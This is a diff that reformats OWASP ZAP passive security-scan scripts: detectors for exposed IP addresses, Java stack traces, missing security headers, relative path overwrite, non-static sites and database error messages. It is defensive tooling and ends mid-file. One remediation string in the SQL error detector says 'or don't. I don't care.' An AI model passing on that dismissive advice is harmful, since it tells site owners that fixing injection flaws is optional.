files types that are never likely to contain stuff, like pngs and jpegs + var contenttype = msg.getResponseHeader().getHeader("Content-Type"); + var unwantedfiletypes = [ + "image/png", + "image/jpeg", + "image/gif", + "application/x-shockwave-flash", + ]; - // lets check its not one of the files types that are never likely to contain stuff, like pngs and jpegs - var contenttype = msg.getResponseHeader().getHeader("Content-Type") - var unwantedfiletypes = ['image/png', 'image/jpeg','image/gif','application/x-shockwave-flash'] - - if (unwantedfiletypes.indexOf(""+contenttype) >= 0) { - // if we find one of the unwanted headers quit this scan, this saves time and reduces false positives - return - }else{ - var body = msg.getResponseBody().toString() - - if (re.test(body)) { - re.lastIndex = 0 // After testing reset index - // Look for IP addresses - var foundIP = [] - var comm - while (comm = re.exec(body)) { - foundIP.push(comm[0]); - } - ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, '', '', foundIP.toString(), alertSolution, '', cweId, wascId, msg); - } + if (unwantedfiletypes.indexOf("" + contenttype) >= 0) { + // if we find one of the unwanted headers quit this scan, this saves time and reduces false positives + return; + } else { + var body = msg.getResponseBody().toString(); + if (re.test(body)) { + re.lastIndex = 0; // After testing reset index + // Look for IP addresses + var foundIP = []; + var comm; + while ((comm = re.exec(body))) { + foundIP.push(comm[0]); + } + ps.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "", + "", + foundIP.toString(), + alertSolution, + "", + cweId, + wascId, + msg + ); } + } } diff --git a/passive/JavaDisclosure.js b/passive/JavaDisclosure.js index d5864e42..c9697355 100755 --- a/passive/JavaDisclosure.js +++ b/passive/JavaDisclosure.js @@ -1,29 +1,47 @@ //Passive scan for Java error messages containing sensitive information (CWE-209) function scan(ps, msg, src) { - var alertRisk = 2 - var alertConfidence = 3 - var alertTitle = 'Java stack trace disclosure' - var alertDesc = 'Java stack trace disclosure (or similar) was found' - var alertSolution = 'Investigate Java stack trace disclosures found in the response, remove or mask as required' - var cweId = 209 - var wascId = 0 - - var re = /springframework|\.java|rootBeanClass/i - - var contentType = msg.getResponseHeader().getHeader("Content-Type") - var unwantedFileTypes = ['image/png', 'image/jpeg', 'image/gif', 'application/x-shockwave-flash', 'application/pdf'] - - if (unwantedFileTypes.indexOf("" + contentType) >= 0) { - return - } - - var body = msg.getResponseBody().toString() - if (re.test(body)) { - let url = msg.getRequestHeader().getURI().toString(); - ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, '', '', body, alertSolution, body, cweId, wascId, msg) - } - + var alertRisk = 2; + var alertConfidence = 3; + var alertTitle = "Java stack trace disclosure"; + var alertDesc = "Java stack trace disclosure (or similar) was found"; + var alertSolution = + "Investigate Java stack trace disclosures found in the response, remove or mask as required"; + var cweId = 209; + var wascId = 0; + + var re = /springframework|\.java|rootBeanClass/i; + + var contentType = msg.getResponseHeader().getHeader("Content-Type"); + var unwantedFileTypes = [ + "image/png", + "image/jpeg", + "image/gif", + "application/x-shockwave-flash", + "application/pdf", + ]; + + if (unwantedFileTypes.indexOf("" + contentType) >= 0) { + return; + } + + var body = msg.getResponseBody().toString(); + if (re.test(body)) { + let url = msg.getRequestHeader().getURI().toString(); + ps.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "", + "", + body, + alertSolution, + body, + cweId, + wascId, + msg + ); + } } - - diff --git a/passive/Mutliple Security Header Check.js b/passive/Mutliple Security Header Check.js index a20a5679..621ea1fe 100644 --- a/passive/Mutliple Security Header Check.js +++ b/passive/Mutliple Security Header Check.js @@ -1,75 +1,149 @@ // Multiple Security Header checker by freakyclown@gmail.com - function scan(ps, msg, src) { - var url = msg.getRequestHeader().getURI().toString() - var responseHeader = msg.getResponseHeader().toString() - var alertRisk = [0, 1, 2, 3] //0=informational, 1=low, 2=medium, 3=high - var alertConfidence = [0, 1, 2, 3, 4] //0=fp,1=low,2=medium,3=high,4=confirmed - var alertTitle = ["Strict Transport Security(STS) Header Not Set (script)", - "Content-Security-Policy (script)", - "Web Browser XSS Protection Not Enabled (script)", - "X-Content-Type-Options Header Missing (script)", - "X-Frame-Options Header Not Set (script)", - "" - ] - var alertDesc = ["HTTP Strict Transport Security (HSTS) is a web security policy mechanism whereby a web server declares that complying user agents (such as a web browser) are to interact with it using only secure HTTPS connections (i.e. HTTP layered over TLS/SSL). HSTS is an IETF standards track protocol and is specified in RFC 6797.", - "Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. CSP provides a standard HTTP header that allows website owners to declare approved sources of content that browsers should be allowed to load on that page — covered types are JavaScript, CSS, HTML frames, fonts, images and embeddable objects such as Java applets, ActiveX, audio and video files.", - "Web Browser XSS Protection is not enabled, or is disabled by the configuration of the 'X-XSS-Protection' HTTP response header on the web server", - "The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'. This allows older versions of Internet Explorer and Chrome to perform MIME-sniffing on the response body, potentially causing the response body to be interpreted and displayed as a content type other than the declared content type. Current (early 2014) and legacy versions of Firefox will use the declared content type (if one is set), rather than performing MIME-sniffing.", - "X-Frame-Options header is not included in the HTTP response to protect against 'ClickJacking' attacks.", - "" - ] - var alertSolution = ["Ensure that your web server, application server, load balancer, etc. is configured to set Strict Transport Security headers.", - "Ensure that your web server, application server, load balancer, etc. is configured to set Content Security Policy headers.", - "Ensure that the web browser's XSS filter is enabled, by setting the X-XSS-Protection HTTP response header to '1'.", - "Ensure that the application/web server sets the Content-Type header appropriately, and that it sets the X-Content-Type-Options header to 'nosniff' for all web pages. If possible, ensure that the end user uses a standards-compliant and modern web browser that does not perform MIME-sniffing at all, or that can be directed by the web application/web server to not perform MIME-sniffing.", - "Most modern Web browsers support the X-Frame-Options HTTP header. Ensure it's set on all web pages returned by your site (if you expect the page to be framed only by pages on your server (e.g. it's part of a FRAMESET) then you'll want to use SAMEORIGIN, otherwise if you never expect the page to be framed, you should use DENY. ALLOW-FROM allows specific websites to frame the web page in supported web browsers).", - "" - ] - var cweId = [0, 1] - var wascId = [0, 1] - - // test sts - if (msg.getRequestHeader().isSecure()) { - if (msg.getResponseHeader().getHeaders("Strict-Transport-Security") == null) - ps.raiseAlert(alertRisk[1], alertConfidence[3], alertTitle[0], alertDesc[0], url, '', '', '', alertSolution[0], '', cweId[0], wascId[0], msg) - } - // test csp - if (!hasAnyHeader(msg.getResponseHeader(), ["Content-Security-Policy", "X-Content-Security-Policy", "X-WebKit-CSP"])) - ps.raiseAlert(alertRisk[1], alertConfidence[3], alertTitle[1], alertDesc[1], url, '', '', '', alertSolution[1], '', cweId[0], wascId[0], msg) + var url = msg.getRequestHeader().getURI().toString(); + var responseHeader = msg.getResponseHeader().toString(); + var alertRisk = [0, 1, 2, 3]; //0=informational, 1=low, 2=medium, 3=high + var alertConfidence = [0, 1, 2, 3, 4]; //0=fp,1=low,2=medium,3=high,4=confirmed + var alertTitle = [ + "Strict Transport Security(STS) Header Not Set (script)", + "Content-Security-Policy (script)", + "Web Browser XSS Protection Not Enabled (script)", + "X-Content-Type-Options Header Missing (script)", + "X-Frame-Options Header Not Set (script)", + "", + ]; + var alertDesc = [ + "HTTP Strict Transport Security (HSTS) is a web security policy mechanism whereby a web server declares that complying user agents (such as a web browser) are to interact with it using only secure HTTPS connections (i.e. HTTP layered over TLS/SSL). HSTS is an IETF standards track protocol and is specified in RFC 6797.", + "Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. CSP provides a standard HTTP header that allows website owners to declare approved sources of content that browsers should be allowed to load on that page — covered types are JavaScript, CSS, HTML frames, fonts, images and embeddable objects such as Java applets, ActiveX, audio and video files.", + "Web Browser XSS Protection is not enabled, or is disabled by the configuration of the 'X-XSS-Protection' HTTP response header on the web server", + "The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'. This allows older versions of Internet Explorer and Chrome to perform MIME-sniffing on the response body, potentially causing the response body to be interpreted and displayed as a content type other than the declared content type. Current (early 2014) and legacy versions of Firefox will use the declared content type (if one is set), rather than performing MIME-sniffing.", + "X-Frame-Options header is not included in the HTTP response to protect against 'ClickJacking' attacks.", + "", + ]; + var alertSolution = [ + "Ensure that your web server, application server, load balancer, etc. is configured to set Strict Transport Security headers.", + "Ensure that your web server, application server, load balancer, etc. is configured to set Content Security Policy headers.", + "Ensure that the web browser's XSS filter is enabled, by setting the X-XSS-Protection HTTP response header to '1'.", + "Ensure that the application/web server sets the Content-Type header appropriately, and that it sets the X-Content-Type-Options header to 'nosniff' for all web pages. If possible, ensure that the end user uses a standards-compliant and modern web browser that does not perform MIME-sniffing at all, or that can be directed by the web application/web server to not perform MIME-sniffing.", + "Most modern Web browsers support the X-Frame-Options HTTP header. Ensure it's set on all web pages returned by your site (if you expect the page to be framed only by pages on your server (e.g. it's part of a FRAMESET) then you'll want to use SAMEORIGIN, otherwise if you never expect the page to be framed, you should use DENY. ALLOW-FROM allows specific websites to frame the web page in supported web browsers).", + "", + ]; + var cweId = [0, 1]; + var wascId = [0, 1]; + // test sts + if (msg.getRequestHeader().isSecure()) { + if (msg.getResponseHeader().getHeaders("Strict-Transport-Security") == null) + ps.raiseAlert( + alertRisk[1], + alertConfidence[3], + alertTitle[0], + alertDesc[0], + url, + "", + "", + "", + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + // test csp + if ( + !hasAnyHeader(msg.getResponseHeader(), [ + "Content-Security-Policy", + "X-Content-Security-Policy", + "X-WebKit-CSP", + ]) + ) + ps.raiseAlert( + alertRisk[1], + alertConfidence[3], + alertTitle[1], + alertDesc[1], + url, + "", + "", + "", + alertSolution[1], + "", + cweId[0], + wascId[0], + msg + ); - // test xxs protection - var re_xss = /(X\-XSS\-Protection\:.+1)/g - if (!(re_xss.test(responseHeader))) //if its false - { - ps.raiseAlert(alertRisk[1], alertConfidence[3], alertTitle[2], alertDesc[2], url, '', '', '', alertSolution[2], '', cweId[0], wascId[0], msg) - } - - // test xcontent no sniff protection - var re_nosniff = /(X\-Content\-Type\-Options\:.*nosniff.*)/g - if (!(re_nosniff.test(responseHeader))) //if its false - { - ps.raiseAlert(alertRisk[2], alertConfidence[2], alertTitle[3], alertDesc[3], url, '', '', '', alertSolution[3], '', cweId[0], wascId[0], msg) - } - - // test xcontent no sniff protection - var re_clickjack = /(X\-Frame\-Options\:.+[Dd][Ee][Nn][Yy])/g - if (!(re_clickjack.test(responseHeader))) //if its false - { - ps.raiseAlert(alertRisk[1], alertConfidence[3], alertTitle[4], alertDesc[4], url, '', '', '', alertSolution[4], '', cweId[0], wascId[0], msg) - } - + // test xxs protection + var re_xss = /(X\-XSS\-Protection\:.+1)/g; + if (!re_xss.test(responseHeader)) { + //if its false + ps.raiseAlert( + alertRisk[1], + alertConfidence[3], + alertTitle[2], + alertDesc[2], + url, + "", + "", + "", + alertSolution[2], + "", + cweId[0], + wascId[0], + msg + ); + } + // test xcontent no sniff protection + var re_nosniff = /(X\-Content\-Type\-Options\:.*nosniff.*)/g; + if (!re_nosniff.test(responseHeader)) { + //if its false + ps.raiseAlert( + alertRisk[2], + alertConfidence[2], + alertTitle[3], + alertDesc[3], + url, + "", + "", + "", + alertSolution[3], + "", + cweId[0], + wascId[0], + msg + ); + } + // test xcontent no sniff protection + var re_clickjack = /(X\-Frame\-Options\:.+[Dd][Ee][Nn][Yy])/g; + if (!re_clickjack.test(responseHeader)) { + //if its false + ps.raiseAlert( + alertRisk[1], + alertConfidence[3], + alertTitle[4], + alertDesc[4], + url, + "", + "", + "", + alertSolution[4], + "", + cweId[0], + wascId[0], + msg + ); + } } function hasAnyHeader(header, headers) { - for (var i in headers) { - if (header.getHeader(headers[i])) { - return true - } + for (var i in headers) { + if (header.getHeader(headers[i])) { + return true; } - return false + } + return false; } diff --git a/passive/RPO.js b/passive/RPO.js index 8c21ff72..2c096d80 100644 --- a/passive/RPO.js +++ b/passive/RPO.js @@ -4,38 +4,58 @@ // *WARNING* this is a Beta version of this detection and may give many false positives! function scan(ps, msg, src) { - var url = msg.getRequestHeader().getURI().toString(); - var alertRisk = 2 - var alertConfidence = 2 - var alertTitle = "Potential Relative Path Overwrite - RPO(beta script)" - var alertDesc = "Potential RPO (Relative Path Overwrite) found " - var alertSolution = "Make sure all style sheets are refered by full paths rather than relative paths." + var url = msg.getRequestHeader().getURI().toString(); + var alertRisk = 2; + var alertConfidence = 2; + var alertTitle = "Potential Relative Path Overwrite - RPO(beta script)"; + var alertDesc = "Potential RPO (Relative Path Overwrite) found "; + var alertSolution = + "Make sure all style sheets are refered by full paths rather than relative paths."; - var cweId = 0 - var wascId = 0 - // regex must appear within /( and )/g - var re = /(href\=\"((?!\/|http|www)).*\.css\")/g + var cweId = 0; + var wascId = 0; + // regex must appear within /( and )/g + var re = /(href\=\"((?!\/|http|www)).*\.css\")/g; - // lets check its not one of the files types that are never likely to contain stuff, like pngs and jpegs - var contenttype = msg.getResponseHeader().getHeader("Content-Type") - var unwantedfiletypes = ['image/png', 'image/jpeg','image/gif','application/x-shockwave-flash','application/pdf'] - - if (unwantedfiletypes.indexOf(""+contenttype) >= 0) { - // if we find one of the unwanted headers quit this scan, this saves time and reduces false positives - return - }else{ - var body = msg.getResponseBody().toString() + // lets check its not one of the files types that are never likely to contain stuff, like pngs and jpegs + var contenttype = msg.getResponseHeader().getHeader("Content-Type"); + var unwantedfiletypes = [ + "image/png", + "image/jpeg", + "image/gif", + "application/x-shockwave-flash", + "application/pdf", + ]; - if (re.test(body)) { - re.lastIndex = 0 // After testing reset index - // Look for RPO - var foundRPO = [] - var comm - while (comm = re.exec(body)) { - foundRPO.push(comm[0]); - } - ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, '', '', foundRPO.toString(), alertSolution, '', cweId, wascId, msg); - } + if (unwantedfiletypes.indexOf("" + contenttype) >= 0) { + // if we find one of the unwanted headers quit this scan, this saves time and reduces false positives + return; + } else { + var body = msg.getResponseBody().toString(); + if (re.test(body)) { + re.lastIndex = 0; // After testing reset index + // Look for RPO + var foundRPO = []; + var comm; + while ((comm = re.exec(body))) { + foundRPO.push(comm[0]); + } + ps.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "", + "", + foundRPO.toString(), + alertSolution, + "", + cweId, + wascId, + msg + ); } + } } diff --git a/passive/Report non static sites.js b/passive/Report non static sites.js index 5ea2490b..1195ef3e 100644 --- a/passive/Report non static sites.js +++ b/passive/Report non static sites.js @@ -1,44 +1,62 @@ // Raises a High alert if URL parameters or forms are detected. -// This script is only intended to be used on sites that are believed to be static. +// This script is only intended to be used on sites that are believed to be static. // Note that new passive scripts will initially be disabled -// Right click the script in the Scripts tree and select "enable" +// Right click the script in the Scripts tree and select "enable" /** - * Passively scans an HTTP message. The scan function will be called for + * Passively scans an HTTP message. The scan function will be called for * request/response made via ZAP, actual messages depend on the function * "appliesToHistoryType", defined below. - * - * @param ps - the PassiveScan parent object that will do all the core interface tasks - * (i.e.: providing access to Threshold settings, raising alerts, etc.). + * + * @param ps - the PassiveScan parent object that will do all the core interface tasks + * (i.e.: providing access to Threshold settings, raising alerts, etc.). * This is an ScriptsPassiveScanner object. * @param msg - the HTTP Message being scanned. This is an HttpMessage object. * @param src - the Jericho Source representation of the message being scanned. */ function scan(ps, msg, src) { - // Test the request and/or response here - if (msg.getRequestHeader().getURI().getEscapedQuery() != null) { - // raiseAlert(risk, int confidence, String name, String description, String uri, - // String param, String attack, String otherInfo, String solution, String evidence, - // int cweId, int wascId, HttpMessage msg) - // risk: 0: info, 1: low, 2: medium, 3: high - // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed - ps.raiseAlert(3, 2, 'Non static site (query present)', - 'A query string has been detected in one of the sites URLs. This indicates that this might well not be a static site', - msg.getRequestHeader().getURI().toString(), - '', '', '', - 'If this is not a static site then ignore or disable this script', - msg.getRequestHeader().getURI().getEscapedQuery(), 0, 0, msg); - } - if (src != null && ! src.getFormFields().isEmpty()) { - // There are form fields - ps.raiseAlert(3, 2, 'Non static site (form present)', - 'One or more forms have been detected in the response. This indicates that this might well not be a static site', - msg.getRequestHeader().getURI().toString(), - '', '', '', - 'If this is not a static site then ignore or disable this script', - src.getFormFields().toString(), 0, 0, msg); - } + // Test the request and/or response here + if (msg.getRequestHeader().getURI().getEscapedQuery() != null) { + // raiseAlert(risk, int confidence, String name, String description, String uri, + // String param, String attack, String otherInfo, String solution, String evidence, + // int cweId, int wascId, HttpMessage msg) + // risk: 0: info, 1: low, 2: medium, 3: high + // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed + ps.raiseAlert( + 3, + 2, + "Non static site (query present)", + "A query string has been detected in one of the sites URLs. This indicates that this might well not be a static site", + msg.getRequestHeader().getURI().toString(), + "", + "", + "", + "If this is not a static site then ignore or disable this script", + msg.getRequestHeader().getURI().getEscapedQuery(), + 0, + 0, + msg + ); + } + if (src != null && !src.getFormFields().isEmpty()) { + // There are form fields + ps.raiseAlert( + 3, + 2, + "Non static site (form present)", + "One or more forms have been detected in the response. This indicates that this might well not be a static site", + msg.getRequestHeader().getURI().toString(), + "", + "", + "", + "If this is not a static site then ignore or disable this script", + src.getFormFields().toString(), + 0, + 0, + msg + ); + } } /** @@ -48,9 +66,11 @@ function scan(ps, msg, src) { * @return {boolean} Whether or not the message with the given type should be scanned by this scanner. */ function appliesToHistoryType(historyType) { - // For example, to just scan spider messages: - // return historyType == org.parosproxy.paros.model.HistoryReference.TYPE_SPIDER; + // For example, to just scan spider messages: + // return historyType == org.parosproxy.paros.model.HistoryReference.TYPE_SPIDER; - // Default behaviour scans default types. - return org.zaproxy.zap.extension.pscan.PluginPassiveScanner.getDefaultHistoryTypes().contains(historyType); -} \ No newline at end of file + // Default behaviour scans default types. + return org.zaproxy.zap.extension.pscan.PluginPassiveScanner.getDefaultHistoryTypes().contains( + historyType + ); +} diff --git a/passive/SQL injection detection.js b/passive/SQL injection detection.js index ae7b5bac..e017b0e2 100644 --- a/passive/SQL injection detection.js +++ b/passive/SQL injection detection.js @@ -1,202 +1,383 @@ // Made by kurobeats@yahoo.co.jp, regex shamelessly ripped from SQLMap project errors -function scan(ps, msg, src) -{ - var url = msg.getRequestHeader().getURI().toString(); - var body = msg.getResponseBody().toString() - var alertRisk = [0,1,2,3,4] //1=informational, 2=low, 3=medium, 4=high - var alertConfidence = [0,1,2,3,4] //0=fp,1=low,2=medium,3=high,4=confirmed - var alertTitle = ["MySQL error Disclosed (script)", - "Postgresql error Disclosed (script)", - "MSSQL error Disclosed (script)", - "Microsoft Access error Disclosed (script)", - "Oracle error Disclosed (script)", - "IBM DB2 error Disclosed (script)", - "Informix error Disclosed (script)", - "Firebird error Disclosed (script)", - "SQLite error Disclosed (script)", - "SAP DB error Disclosed (script)", - "Sybase error Disclosed (script)", - "Ingress error Disclosed (script)", - "Frontbase error Disclosed (script)", - "HSQLDB error Disclosed (script)", - ""] - var alertDesc = ["A MySQL error was discovered.", - "A Postgresql error was discovered.", - "A MSSQL error was discovered.", - "A Microsoft Access error was discovered.", - "An Oracle error was discovered.", - "An IBM DB2 error was discovered.", - "An Informix error was discovered.", - "A Firebird error was discovered.", - "An SQLite error was discovered", - "A SAP DB error was discovered", - "A Sybase error was discovered", - "An Ingress error was discovered", - "A Frontbase error was discovered", - "A HSQLDB error was discovered", - ""] - var alertSolution = ["Ensure proper sanitisation is done on the server side, or don't. I don't care.", - ""] - var cweId = [0,1] - var wascId = [0,1] +function scan(ps, msg, src) { + var url = msg.getRequestHeader().getURI().toString(); + var body = msg.getResponseBody().toString(); + var alertRisk = [0, 1, 2, 3, 4]; //1=informational, 2=low, 3=medium, 4=high + var alertConfidence = [0, 1, 2, 3, 4]; //0=fp,1=low,2=medium,3=high,4=confirmed + var alertTitle = [ + "MySQL error Disclosed (script)", + "Postgresql error Disclosed (script)", + "MSSQL error Disclosed (script)", + "Microsoft Access error Disclosed (script)", + "Oracle error Disclosed (script)", + "IBM DB2 error Disclosed (script)", + "Informix error Disclosed (script)", + "Firebird error Disclosed (script)", + "SQLite error Disclosed (script)", + "SAP DB error Disclosed (script)", + "Sybase error Disclosed (script)", + "Ingress error Disclosed (script)", + "Frontbase error Disclosed (script)", + "HSQLDB error Disclosed (script)", + "", + ]; + var alertDesc = [ + "A MySQL error was discovered.", + "A Postgresql error was discovered.", + "A MSSQL error was discovered.", + "A Microsoft Access error was discovered.", + "An Oracle error was discovered.", + "An IBM DB2 error was discovered.", + "An Informix error was discovered.", + "A Firebird error was discovered.", + "An SQLite error was discovered", + "A SAP DB error was discovered", + "A Sybase error was discovered", + "An Ingress error was discovered", + "A Frontbase error was discovered", + "A HSQLDB error was discovered", + "", + ]; + var alertSolution = [ + "Ensure proper sanitisation is done on the server side, or don't. I don't care.", + "", + ]; + var cweId = [0, 1]; + var wascId = [0, 1]; - var mysql = /(SQL syntax.*MySQL|Warning.*mysql_.*|MySqlException \(0x|valid MySQL result|check the manual that corresponds to your (MySQL|MariaDB) server version|MySqlClient\.|com\.mysql\.jdbc\.exceptions)/g - var postgresql = /(PostgreSQL.*ERROR|Warning.*\Wpg_.*|valid PostgreSQL result|Npgsql\.|PG::SyntaxError:|org\.postgresql\.util\.PSQLException|ERROR:\s\ssyntax error at or near)/g - var mssql = /(Driver.* SQL[\-\_\ ]*Server|OLE DB.* SQL Server|\bSQL Server.*Driver|Warning.*mssql_.*|\bSQL Server.*[0-9a-fA-F]{8}|[\s\S]Exception.*\WSystem\.Data\.SqlClient\.|[\s\S]Exception.*\WRoadhouse\.Cms\.|Microsoft SQL Native Client.*[0-9a-fA-F]{8})/g - var msaccess = /(Microsoft Access (\d+ )?Driver|JET Database Engine|Access Database Engine|ODBC Microsoft Access)/g - var oracle = /(\bORA-\d{5}|Oracle error|Oracle.*Driver|Warning.*\Woci_.*|Warning.*\Wora_.*)/g - var ibmdb2 = /(CLI Driver.*DB2|DB2 SQL error|\bdb2_\w+\(|SQLSTATE.+SQLCODE)/g - var informix = /(Exception.*Informix)/g - var firebird = /(Dynamic SQL Error|Warning.*ibase_.*)/g - var sqlite = /(SQLite\/JDBCDriver|SQLite.Exception|System.Data.SQLite.SQLiteException|Warning.*sqlite_.*|Warning.*SQLite3::|\[SQLITE_ERROR\])/g - var sapdb = /(SQL error.*POS([0-9]+).*|Warning.*maxdb.*)/g - var sybase = /(Warning.*sybase.*|Sybase message|Sybase.*Server message.*|SybSQLException|com\.sybase\.jdbc)/g - var ingress = /(Warning.*ingres_|Ingres SQLSTATE|Ingres\W.*Driver)/g - var frontbase = /(Exception (condition )?\d+. Transaction rollback.)/g - var hsqldb = /(org\.hsqldb\.jdbc|Unexpected end of command in statement \[|Unexpected token.*in statement \[)/g + var mysql = + /(SQL syntax.*MySQL|Warning.*mysql_.*|MySqlException \(0x|valid MySQL result|check the manual that corresponds to your (MySQL|MariaDB) server version|MySqlClient\.|com\.mysql\.jdbc\.exceptions)/g; + var postgresql = + /(PostgreSQL.*ERROR|Warning.*\Wpg_.*|valid PostgreSQL result|Npgsql\.|PG::SyntaxError:|org\.postgresql\.util\.PSQLException|ERROR:\s\ssyntax error at or near)/g; + var mssql = + /(Driver.* SQL[\-\_\ ]*Server|OLE DB.* SQL Server|\bSQL Server.*Driver|Warning.*mssql_.*|\bSQL Server.*[0-9a-fA-F]{8}|[\s\S]Exception.*\WSystem\.Data\.SqlClient\.|[\s\S]Exception.*\WRoadhouse\.Cms\.|Microsoft SQL Native Client.*[0-9a-fA-F]{8})/g; + var msaccess = + /(Microsoft Access (\d+ )?Driver|JET Database Engine|Access Database Engine|ODBC Microsoft Access)/g; + var oracle = + /(\bORA-\d{5}|Oracle error|Oracle.*Driver|Warning.*\Woci_.*|Warning.*\Wora_.*)/g; + var ibmdb2 = /(CLI Driver.*DB2|DB2 SQL error|\bdb2_\w+\(|SQLSTATE.+SQLCODE)/g; + var informix = /(Exception.*Informix)/g; + var firebird = /(Dynamic SQL Error|Warning.*ibase_.*)/g; + var sqlite = + /(SQLite\/JDBCDriver|SQLite.Exception|System.Data.SQLite.SQLiteException|Warning.*sqlite_.*|Warning.*SQLite3::|\[SQLITE_ERROR\])/g; + var sapdb = /(SQL error.*POS([0-9]+).*|Warning.*maxdb.*)/g; + var sybase = + /(Warning.*sybase.*|Sybase message|Sybase.*Server message.*|SybSQLException|com\.sybase\.jdbc)/g; + var ingress = /(Warning.*ingres_|Ingres SQLSTATE|Ingres\W.*Driver)/g; + var frontbase = /(Exception (condition )?\d+. Transaction rollback.)/g; + var hsqldb = + /(org\.hsqldb\.jdbc|Unexpected end of command in statement \[|Unexpected token.*in statement \[)/g; - if (mysql.test(body)) - { - mysql.lastIndex = 0 - var foundmysql = [] - var comm - while (comm = mysql.exec(body)) - { - foundmysql.push(comm[0]); - } - ps.raiseAlert(alertRisk[3], alertConfidence[2], alertTitle[0], alertDesc[0], url, '', '', foundmysql.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } + if (mysql.test(body)) { + mysql.lastIndex = 0; + var foundmysql = []; + var comm; + while ((comm = mysql.exec(body))) { + foundmysql.push(comm[0]); + } + ps.raiseAlert( + alertRisk[3], + alertConfidence[2], + alertTitle[0], + alertDesc[0], + url, + "", + "", + foundmysql.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } - if (postgresql.test(body)) - { - postgresql.lastIndex = 0 - var foundpostgresql = [] - while (comm = postgresql.exec(body)) - { - foundpostgresql.push(comm[0]); - } - ps.raiseAlert(alertRisk[3], alertConfidence[2], alertTitle[1], alertDesc[1], url, '', '', foundpostgresql.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - if (mssql.test(body)) - { - mssql.lastIndex = 0 - var foundmssql = [] - while (comm = mssql.exec(body)) - { - foundmssql.push(comm[0]); - } - ps.raiseAlert(alertRisk[3], alertConfidence[2], alertTitle[2], alertDesc[2], url, '', '', foundmssql.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - if (msaccess.test(body)) - { - msaccess.lastIndex = 0 - var foundmsaccess = [] - while (comm = msaccess.exec(body)) - { - foundmsaccess.push(comm[0]); - } - ps.raiseAlert(alertRisk[3], alertConfidence[2], alertTitle[3], alertDesc[3], url, '', '', foundmsaccess.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } + if (postgresql.test(body)) { + postgresql.lastIndex = 0; + var foundpostgresql = []; + while ((comm = postgresql.exec(body))) { + foundpostgresql.push(comm[0]); + } + ps.raiseAlert( + alertRisk[3], + alertConfidence[2], + alertTitle[1], + alertDesc[1], + url, + "", + "", + foundpostgresql.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (mssql.test(body)) { + mssql.lastIndex = 0; + var foundmssql = []; + while ((comm = mssql.exec(body))) { + foundmssql.push(comm[0]); + } + ps.raiseAlert( + alertRisk[3], + alertConfidence[2], + alertTitle[2], + alertDesc[2], + url, + "", + "", + foundmssql.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (msaccess.test(body)) { + msaccess.lastIndex = 0; + var foundmsaccess = []; + while ((comm = msaccess.exec(body))) { + foundmsaccess.push(comm[0]); + } + ps.raiseAlert( + alertRisk[3], + alertConfidence[2], + alertTitle[3], + alertDesc[3], + url, + "", + "", + foundmsaccess.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } - if (oracle.test(body)) - { - oracle.lastIndex = 0 - var foundoracle = [] - while (comm = oracle.exec(body)) - { - foundoracle.push(comm[0]); - } - ps.raiseAlert(alertRisk[3], alertConfidence[2], alertTitle[4], alertDesc[4], url, '', '', foundoracle.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - if (ibmdb2.test(body)) - { - ibmdb2.lastIndex = 0 - var foundibmdb2 = [] - while (comm = ibmdb2.exec(body)) - { - foundibmdb2.push(comm[0]); - } - ps.raiseAlert(alertRisk[3], alertConfidence[2], alertTitle[5], alertDesc[5], url, '', '', foundibmdb2.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - if (informix.test(body)) - { - informix.lastIndex = 0 - var foundinformix = [] - while (comm = informix.exec(body)) - { - foundinformix.push(comm[0]); - } - ps.raiseAlert(alertRisk[3], alertConfidence[2], alertTitle[6], alertDesc[6], url, '', '', foundinformix.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - if (firebird.test(body)) - { - firebird.lastIndex = 0 - var foundfirebird = [] - while (comm = firebird.exec(body)) - { - foundfirebird.push(comm[0]); - } - ps.raiseAlert(alertRisk[3], alertConfidence[2], alertTitle[7], alertDesc[7], url, '', '', foundfirebird.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - if (sqlite.test(body)) - { - sqlite.lastIndex = 0 - var foundsqlite = [] - while (comm = sqlite.exec(body)) - { - foundsqlite.push(comm[0]); - } - ps.raiseAlert(alertRisk[3], alertConfidence[1], alertTitle[8], alertDesc[8], url, '', '', foundsqlite.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - if (sapdb.test(body)) - { - sapdb.lastIndex = 0 - var foundsapdb = [] - while (comm = sapdb.exec(body)) - { - foundsapdb.push(comm[0]); - } - ps.raiseAlert(alertRisk[3], alertConfidence[2], alertTitle[9], alertDesc[9], url, '', '', foundsapdb.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - if (sybase.test(body)) - { - sybase.lastIndex = 0 - var foundsybase = [] - while (comm = sybase.exec(body)) - { - foundsybase.push(comm[0]); - } - ps.raiseAlert(alertRisk[3], alertConfidence[2], alertTitle[10], alertDesc[10], url, '', '', foundsybase.toString(), alertSolution[0], 